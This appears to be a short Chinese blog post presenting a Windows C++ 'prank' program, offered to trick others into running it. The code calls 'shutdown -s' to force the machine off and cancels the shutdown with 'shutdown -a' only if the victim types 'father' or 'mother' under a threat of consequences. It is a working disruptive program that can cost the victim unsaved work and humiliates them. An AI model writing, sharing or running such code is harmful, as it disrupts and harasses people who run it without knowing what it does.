终极C++坑人程序,如下 :
#include <windows.h>
#include<bits/stdc++.h>
using namespace std;
char input[100];
bool done(){
printf("Good child,please say %cfather%c or %cmother%c,otherwise you will bear the consequences!\n",'"','"','"','"');
scanf("%s",input);
if(!strcmp(input,"father")||!strcmp(input,"mother")){
printf("well!\n");
system("shutdown -a");
return true;
}
else{
while(!done());
return false;
}
}
int main(){
system("shutdown -s");
printf("Press any key to continue\n");
input[0]=getchar();
done();
return 0;
}
都看到这里了,给个赞再走呗?